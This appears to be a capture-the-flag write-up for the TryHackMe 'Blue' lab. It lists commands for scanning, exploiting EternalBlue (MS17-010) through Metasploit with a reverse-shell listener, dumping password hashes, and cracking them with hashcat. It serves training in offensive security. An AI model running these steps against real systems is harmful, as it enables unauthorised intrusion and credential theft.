Blue writeup & walkthrough

Blue is a beginner TryHackMe Windows room exploiting the EternalBlue vulnerability (MS17-010 / CVE-2017-0144) via Metasploit to gain SYSTEM access on a Windows 7 machine.

🔹 TryHackMe: Blue (MS17-010)

Access Path

no access => SYSTEM

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Room: https://tryhackme.com/room/blue

Video: https://youtu.be/-SyyNXYLvSQ

Initial Enumeration

Fast port scanning finds SMB open. The smb-vuln-ms17-010 script confirms the host is vulnerable to EternalBlue (MS17-010).

# Fast scanning with Rustscan + Nmap
rustscan -a 10.10.171.0 --ulimit 5000 -b 2000 -- -sC -sV -Pn -sS

# Verify MS17-010 vulnerability
nmap -p445 --script smb-vuln-ms17-010 10.10.171.0

Exploitation with Metasploit

We use the EternalBlue Metasploit module, set the target and listener, and run it to get a SYSTEM shell, then upgrade to a Meterpreter session.

# Start PostgreSQL for Metasploit
service postgresql start && msfconsole -q

# Search for the MS17-010 exploit
search ms17-010

# Use the EternalBlue exploit module (usually exploit/windows/smb/ms17_010_eternalblue)
use 0

# Set RHOSTS, LHOST, and LPORT
setg RHOSTS 10.10.171.0
setg LHOST <your_ip>
setg LPORT 4444

# Run the exploit
run

# (Optional: already NT/System) Upgrade to a meterpreter session
sessions -u 1
sessions -i 2

Post-Exploitation: Credential Dumping

From Meterpreter we dump the password hashes and crack the NTLM hashes with hashcat.

# In meterpreter, dump password hashes
hashdump

# Save hashes to user.txt for cracking
# Crack NTLM hashes using Hashcat
hashcat -m 1000 -a 0 -o cracked.txt user.txt /usr/share/wordlists/rockyou.txt

# Show cracked credentials
hashcat -m 1000 user.txt --show

Loot & Flags

Search the filesystem for the remaining flags.

# Search for the second flag
search -f flag2.txt